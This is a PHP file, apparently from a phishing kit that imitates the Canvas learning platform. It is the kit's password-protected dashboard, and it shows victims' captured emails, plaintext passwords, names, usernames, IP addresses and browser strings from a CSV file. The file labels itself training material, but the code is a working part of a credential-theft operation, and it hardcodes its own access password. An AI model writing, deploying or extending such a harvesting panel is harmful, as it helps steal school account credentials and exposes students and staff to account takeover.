canvas_phishing/view_login_data.php
2025-07-15 01:19:02 +00:00

550 lines
16 KiB
PHP

<?php
session_start();
$correct_password = 'ch@mp1@1nCyb3r';
if ($_POST['password'] ?? false) {
if ($_POST['password'] === $correct_password) {
$_SESSION['authenticated'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = "Incorrect password. Please try again.";
}
}
if ($_GET['logout'] ?? false) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
if (!($_SESSION['authenticated'] ?? false)) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Access Required - Canvas Login Data</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 15px 35px rgba(0,0,0,0.1);
width: 100%;
max-width: 400px;
text-align: center;
}
h1 {
color: #333;
margin-bottom: 30px;
font-size: 24px;
}
.form-group {
margin-bottom: 20px;
text-align: left;
}
label {
display: block;
margin-bottom: 5px;
color: #555;
font-weight: bold;
}
input[type="password"] {
width: 100%;
padding: 12px;
border: 2px solid #ddd;
border-radius: 5px;
font-size: 16px;
box-sizing: border-box;
transition: border-color 0.3s;
}
input[type="password"]:focus {
outline: none;
border-color: #667eea;
}
.login-btn {
width: 100%;
padding: 12px;
background: #667eea;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
transition: background 0.3s;
}
.login-btn:hover {
background: #5a67d8;
}
.error {
background-color: #fee;
color: #c33;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
border: 1px solid #fcc;
}
.security-notice {
background-color: #fff3cd;
color: #856404;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
font-size: 14px;
}
@media (max-width: 480px) {
.login-container {
margin: 20px;
padding: 30px 20px;
}
h1 {
font-size: 20px;
}
}
</style>
</head>
<body>
<div class="login-container">
<h1>🔒 Access Required</h1>
<div class="security-notice">
<strong>⚠ Restricted Access:</strong> This area contains sensitive training data.
</div>
<?php if (isset($login_error)): ?>
<div class="error"><?php echo htmlspecialchars($login_error); ?></div>
<?php endif; ?>
<form method="POST">
<div class="form-group">
<label for="password">Enter Password:</label>
<input type="password" id="password" name="password" required autofocus>
</div>
<button type="submit" class="login-btn">Access Data</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
$csv_file = 'login_data.csv';
if (!file_exists($csv_file)) {
echo "<h1>No login data found</h1>";
echo "<p>The CSV file does not exist yet. Submit some login forms first.</p>";
exit;
}
$csv_data = [];
if (($handle = fopen($csv_file, 'r')) !== false) {
while (($data = fgetcsv($handle)) !== false) {
$csv_data[] = $data;
}
fclose($handle);
}
if (empty($csv_data)) {
echo "<h1>No login data found</h1>";
echo "<p>The CSV file is empty.</p>";
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Canvas Login Data</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f5f5f5;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
flex-wrap: wrap;
gap: 10px;
}
h1 {
color: #333;
border-bottom: 2px solid #e74c3c;
padding-bottom: 10px;
margin: 0;
font-size: 24px;
}
.logout-btn {
background: #dc3545;
color: white;
padding: 10px 16px;
text-decoration: none;
border-radius: 5px;
font-size: 14px;
transition: background 0.3s;
white-space: nowrap;
}
.logout-btn:hover {
background: #c82333;
}
.table-container {
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch;
border: 1px solid #ddd;
border-radius: 6px;
margin-top: 20px;
}
table {
width: 100%;
border-collapse: collapse;
font-size: 14px;
min-width: 800px; /* Ensure table doesn't get too compressed */
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
vertical-align: top;
white-space: nowrap;
}
th {
background-color: #f8f9fa;
font-weight: bold;
color: #333;
position: sticky;
top: 0;
z-index: 10;
}
tr:nth-child(even) {
background-color: #f8f9fa;
}
tr:hover {
background-color: #e8f4fd;
}
.password-cell {
font-family: monospace;
background-color: #ffe6e6;
color: #d63031;
font-size: 12px;
max-width: 120px;
word-break: break-all;
}
.email-login {
background-color: #e8f5e8;
color: #00b894;
}
.forgot-password {
background-color: #fff3cd;
color: #856404;
}
.create-account {
background-color: #e1f5fe;
color: #0277bd;
}
.timestamp-cell {
font-size: 12px;
min-width: 120px;
}
.user-agent-cell {
max-width: 200px;
word-break: break-word;
font-size: 11px;
white-space: normal;
}
.email-cell {
max-width: 180px;
word-break: break-word;
white-space: normal;
}
.ip-cell {
font-family: monospace;
font-size: 12px;
min-width: 100px;
}
.stats {
background-color: #e8f4fd;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
}
.warning {
background-color: #fff3cd;
border: 1px solid #ffeaa7;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
color: #856404;
}
.authenticated-notice {
background-color: #d4edda;
border: 1px solid #c3e6cb;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
color: #155724;
font-size: 14px;
}
.scroll-hint {
background-color: #e3f2fd;
border: 1px solid #bbdefb;
padding: 10px;
border-radius: 5px;
margin-bottom: 15px;
color: #1565c0;
font-size: 13px;
text-align: center;
}
@media (max-width: 768px) {
body {
padding: 10px;
}
.container {
padding: 15px;
}
h1 {
font-size: 20px;
}
.header {
flex-direction: column;
align-items: stretch;
text-align: center;
}
.logout-btn {
align-self: center;
padding: 12px 20px;
}
table {
font-size: 12px;
min-width: 900px; /* Increase min-width for mobile to ensure readability */
}
th, td {
padding: 6px 4px;
}
.password-cell {
max-width: 100px;
}
.user-agent-cell {
max-width: 150px;
}
.email-cell {
max-width: 140px;
}
}
@media (max-width: 480px) {
body {
padding: 5px;
}
.container {
padding: 10px;
}
h1 {
font-size: 18px;
}
table {
font-size: 11px;
min-width: 1000px; /* Even wider on small screens to maintain readability */
}
th, td {
padding: 4px 3px;
}
.scroll-hint {
font-size: 12px;
padding: 8px;
}
}
/* Custom scrollbar for webkit browsers */
.table-container::-webkit-scrollbar {
height: 8px;
}
.table-container::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 4px;
}
.table-container::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 4px;
}
.table-container::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>Canvas Login Data</h1>
<a href="?logout=1" class="logout-btn">Logout</a>
</div>
<div class="authenticated-notice">
✅ <strong>Authenticated Access:</strong> You are viewing restricted training data.
</div>
<div class="stats">
<strong>Total Login Attempts:</strong> <?php echo count($csv_data) - 1; ?> (excluding header row)
<br><br>
<strong>Breakdown by Type:</strong>
<?php
$type_counts = array();
foreach ($csv_data as $index => $row) {
if ($index == 0) continue; // Skip header
$login_type = $row[4] ?? 'unknown';
$type_counts[$login_type] = ($type_counts[$login_type] ?? 0) + 1;
}
foreach ($type_counts as $type => $count) {
$type_class = '';
switch ($type) {
case 'email': $type_class = 'email-login'; break;
case 'forgot_password': $type_class = 'forgot-password'; break;
case 'create_account': $type_class = 'create-account'; break;
}
echo "<span class='$type_class' style='padding: 2px 6px; margin: 0 5px; border-radius: 3px; display: inline-block; margin-bottom: 5px;'>";
echo htmlspecialchars($type) . ": " . $count;
echo "</span>";
}
?>
</div>
<div class="scroll-hint">
📱 <strong>Mobile Tip:</strong> Swipe left/right on the table below to view all columns
</div>
<div class="warning">
<strong>⚠ Security Warning:</strong> This is for testing/training only.
</div>
<div class="table-container">
<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Login Type</th>
<th>Email</th>
<th>Password</th>
<!--<th>Remember</th>-->
<th>Full Name</th>
<th>Username</th>
<!--<th>Join Code</th>-->
<th>IP Address</th>
<th>User Agent</th>
</tr>
</thead>
<tbody>
<?php
$is_header = true;
foreach ($csv_data as $row) {
if ($is_header) {
$is_header = false;
continue;
}
// Ensure we have at least 10 columns, fill with empty strings if missing
while (count($row) < 10) {
$row[] = '';
}
$timestamp = $row[0] ?? '';
$email = $row[1] ?? '';
$password = $row[2] ?? '';
$remember = $row[3] ?? '';
$login_type = $row[4] ?? '';
$ip_address = $row[5] ?? '';
$user_agent = $row[6] ?? '';
$full_name = $row[7] ?? '';
$username = $row[8] ?? '';
$join_code = $row[9] ?? '';
// Determine row class based on login type
$type_class = '';
switch ($login_type) {
case 'email':
$type_class = 'email-login';
break;
case 'forgot_password':
$type_class = 'forgot-password';
break;
case 'create_account':
$type_class = 'create-account';
break;
}
echo "<tr>";
// Timestamp
echo "<td class='timestamp-cell'>" . htmlspecialchars($timestamp) . "</td>";
// Login Type
echo "<td class='$type_class'>" . htmlspecialchars($login_type) . "</td>";
// Email
echo "<td class='email-cell'>" . htmlspecialchars($email) . "</td>";
// Password
echo "<td class='password-cell'>" . htmlspecialchars($password) . "</td>";
// Remember Me
//echo "<td>" . htmlspecialchars($remember) . "</td>";
// Full Name
echo "<td>" . htmlspecialchars($full_name) . "</td>";
// Username
echo "<td>" . htmlspecialchars($username) . "</td>";
// Join Code
// echo "<td>" . htmlspecialchars($join_code) . "</td>";
// IP Address
echo "<td class='ip-cell'>" . htmlspecialchars($ip_address) . "</td>";
// User Agent
echo "<td class='user-agent-cell'>" . htmlspecialchars($user_agent) . "</td>";
echo "</tr>";
}
?>
</tbody>
</table>
</div>
<p style="margin-top: 20px; color: #666; font-size: 14px;">
<strong>CSV File Location:</strong> <?php echo realpath($csv_file); ?>
</p>
</div>
</body>
</html>